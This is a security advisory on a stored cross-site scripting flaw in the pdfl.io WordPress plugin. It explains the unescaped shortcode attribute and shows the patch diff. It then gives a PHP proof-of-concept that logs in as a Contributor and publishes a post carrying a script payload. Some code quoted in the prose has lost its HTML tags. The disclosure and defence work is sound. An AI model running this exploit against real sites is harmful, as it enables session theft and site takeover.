Atomic Edge analysis of CVE-2026-4073:
This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the pdfl.io WordPress plugin, affecting versions up to and including 1.0.5. The ‘text’ attribute of the ‘pdflio’ shortcode lacks output escaping, allowing authenticated users with Contributor-level access or higher to inject persistent JavaScript payloads into page content.
The root cause is in the output_shortcode() function within pdflio.php (line 102-119 in the diff). The function retrieves a ‘text’ parameter from the shortcode attributes array and directly concatenates it into the HTML anchor tag on the return statement: ‘return ‘‘ . $text . ‘‘;’. The $text variable is not passed through esc_html() or any other escaping function before being placed in the HTML context. This omission means any attacker-supplied value in the shortcode’s ‘text’ attribute is rendered as raw HTML.
To exploit this, an attacker with Contributor-level (or higher) WordPress account creates or edits a post/page and inserts the vulnerable shortcode with a malicious payload in the ‘text’ attribute. For example: [pdflio url=”https://example.com” text=”alert(‘XSS’)”]. When the page is saved and viewed by any user (including administrators), the JavaScript executes in their browser context. No additional authentication is required beyond the initial post creation privileges.
The patch applies esc_html() to the $text variable in the return statement: ‘return ‘‘ . esc_html( $text ) . ‘‘;’. This encodes special HTML characters (e.g., , &, “, ‘) into their HTML entity equivalents, preventing script injection. The patch also adds sanitize_text_field() and urlencode() calls to other shortcode attributes (format, delay, etc.) that were previously unsanitized, preventing XSS in those secondary vectors as well.
An attacker can inject arbitrary JavaScript that executes in the context of any user viewing the affected page. This leads to session hijacking, credential theft, defacement, or propagation of malware. Since the XSS is stored in the database and rendered on every page load, it can affect site visitors, editors, and administrators, potentially leading to full site compromise if administrative credentials are stolen.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/pdfl-io/pdflio.php
+++ b/pdfl-io/pdflio.php
@@ -2,15 +2,15 @@
/*
Plugin Name: pdfl.io
Description: Get PDFs from pdfl.io
-Version: 1.0.5
-Author: tripleNERDscre
-Author URI: https://triplenerdscore.net
+Version: 1.0.6
+Author: Doug Black
+Author URI: https://pdfl.io
Text Domain: pdflio
*/
// No direct access.
defined( 'ABSPATH' ) or die;
-define( 'PDFLIO_VER', '1.0.0' );
+define( 'PDFLIO_VER', '1.0.6' );
define( 'PDFLIO_CACHE_PATH', __DIR__ . '/cache' );
if ( ! class_exists( 'PDFLIO_Main' ) ) {
@@ -102,19 +102,19 @@
$fields = array(
'url' => 'url=' . urlencode( $url ),
- 'filename' => 'filename=' . $filename,
+ 'filename' => 'filename=' . urlencode( sanitize_file_name( $filename ) ),
);
- if ( $format != '' ) array_push( $fields, 'format=' . $format );
- if ( $no_background != '' ) array_push( $fields, 'no_background=' . $no_background );
- if ( $greyscale != '' ) array_push( $fields, 'greyscale=' . $greyscale );
- if ( $top_view_only != '' ) array_push( $fields, 'top_view_only=' . $top_view_only );
- if ( $disable_javascript != '' ) array_push( $fields, 'disable_javascript=' . $disable_javascript );
- if ( $disable_images != '' ) array_push( $fields, 'disable_images=' . $disable_images );
- if ( $just_wait != '' ) array_push( $fields, 'just_wait=' . $just_wait );
- if ( $delay != '' ) array_push( $fields, 'delay=' . $delay );
+ if ( $format != '' ) array_push( $fields, 'format=' . urlencode( sanitize_text_field( $format ) ) );
+ if ( $no_background != '' ) array_push( $fields, 'no_background=' . urlencode( sanitize_text_field( $no_background ) ) );
+ if ( $greyscale != '' ) array_push( $fields, 'greyscale=' . urlencode( sanitize_text_field( $greyscale ) ) );
+ if ( $top_view_only != '' ) array_push( $fields, 'top_view_only=' . urlencode( sanitize_text_field( $top_view_only ) ) );
+ if ( $disable_javascript != '' ) array_push( $fields, 'disable_javascript=' . urlencode( sanitize_text_field( $disable_javascript ) ) );
+ if ( $disable_images != '' ) array_push( $fields, 'disable_images=' . urlencode( sanitize_text_field( $disable_images ) ) );
+ if ( $just_wait != '' ) array_push( $fields, 'just_wait=' . urlencode( sanitize_text_field( $just_wait ) ) );
+ if ( $delay != '' ) array_push( $fields, 'delay=' . urlencode( sanitize_text_field( $delay ) ) );
- return '<a href="' . admin_url( 'admin-post.php?action=pdflio_process&' . implode( '&', $fields ) ) . '">' . $text . '</a>';
+ return '<a href="' . esc_url( admin_url( 'admin-post.php?action=pdflio_process&' . implode( '&', $fields ) ) ) . '">' . esc_html( $text ) . '</a>';
}
public function process_request() {
--- a/pdfl-io/trunk/pdflio.php
+++ b/pdfl-io/trunk/pdflio.php
@@ -2,15 +2,15 @@
/*
Plugin Name: pdfl.io
Description: Get PDFs from pdfl.io
-Version: 1.0.5
-Author: tripleNERDscre
-Author URI: https://triplenerdscore.net
+Version: 1.0.6
+Author: Doug Black
+Author URI: https://pdfl.io
Text Domain: pdflio
*/
// No direct access.
defined( 'ABSPATH' ) or die;
-define( 'PDFLIO_VER', '1.0.0' );
+define( 'PDFLIO_VER', '1.0.6' );
define( 'PDFLIO_CACHE_PATH', __DIR__ . '/cache' );
if ( ! class_exists( 'PDFLIO_Main' ) ) {
@@ -102,19 +102,19 @@
$fields = array(
'url' => 'url=' . urlencode( $url ),
- 'filename' => 'filename=' . $filename,
+ 'filename' => 'filename=' . urlencode( sanitize_file_name( $filename ) ),
);
- if ( $format != '' ) array_push( $fields, 'format=' . $format );
- if ( $no_background != '' ) array_push( $fields, 'no_background=' . $no_background );
- if ( $greyscale != '' ) array_push( $fields, 'greyscale=' . $greyscale );
- if ( $top_view_only != '' ) array_push( $fields, 'top_view_only=' . $top_view_only );
- if ( $disable_javascript != '' ) array_push( $fields, 'disable_javascript=' . $disable_javascript );
- if ( $disable_images != '' ) array_push( $fields, 'disable_images=' . $disable_images );
- if ( $just_wait != '' ) array_push( $fields, 'just_wait=' . $just_wait );
- if ( $delay != '' ) array_push( $fields, 'delay=' . $delay );
+ if ( $format != '' ) array_push( $fields, 'format=' . urlencode( sanitize_text_field( $format ) ) );
+ if ( $no_background != '' ) array_push( $fields, 'no_background=' . urlencode( sanitize_text_field( $no_background ) ) );
+ if ( $greyscale != '' ) array_push( $fields, 'greyscale=' . urlencode( sanitize_text_field( $greyscale ) ) );
+ if ( $top_view_only != '' ) array_push( $fields, 'top_view_only=' . urlencode( sanitize_text_field( $top_view_only ) ) );
+ if ( $disable_javascript != '' ) array_push( $fields, 'disable_javascript=' . urlencode( sanitize_text_field( $disable_javascript ) ) );
+ if ( $disable_images != '' ) array_push( $fields, 'disable_images=' . urlencode( sanitize_text_field( $disable_images ) ) );
+ if ( $just_wait != '' ) array_push( $fields, 'just_wait=' . urlencode( sanitize_text_field( $just_wait ) ) );
+ if ( $delay != '' ) array_push( $fields, 'delay=' . urlencode( sanitize_text_field( $delay ) ) );
- return '<a href="' . admin_url( 'admin-post.php?action=pdflio_process&' . implode( '&', $fields ) ) . '">' . $text . '</a>';
+ return '<a href="' . esc_url( admin_url( 'admin-post.php?action=pdflio_process&' . implode( '&', $fields ) ) ) . '">' . esc_html( $text ) . '</a>';
}
public function process_request() {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-4073 - pdfl.io <= 1.0.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'text' Shortcode Attribute
// Configuration: Set these variables before running
$target_url = 'http://example.com'; // Replace with the target WordPress site URL
$username = 'contributor_user'; // Replace with a valid WordPress username (Contributor+)
$password = 'user_password'; // Replace with the user's password
// Step 1: Authenticate and get session cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) !== 302) {
die('Authentication failed. Check credentials.');
}
// Step 2: Get the REST API nonce and create a new post with malicious shortcode
$rest_url = $target_url . '/wp-json/wp/v2/posts';
$payload = '<script>alert(document.cookie)</script>';
$post_data = array(
'title' => 'CVE-2026-4073 Test Post',
'content' => '[pdflio url="https://example.com" text="' . $payload . '"]',
'status' => 'publish'
);
$headers = array(
'Content-Type: application/json',
'X-WP-Nonce: ' . get_nonce($target_url, '/tmp/cookies.txt')
);
curl_setopt($ch, CURLOPT_URL, $rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 201) {
$result = json_decode($response, true);
echo 'Post created successfully. Visit: ' . $result['link'] . PHP_EOL;
echo 'The stored XSS payload "' . $payload . '" will execute on page load.' . PHP_EOL;
} else {
echo 'Failed to create post. HTTP code: ' . $http_code . PHP_EOL;
echo 'Response: ' . $response . PHP_EOL;
}
function get_nonce($base_url, $cookie_file) {
$ch = curl_init($base_url . '/wp-admin/admin-ajax.php?action=rest-nonce');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
$nonce = curl_exec($ch);
curl_close($ch);
return trim($nonce);
}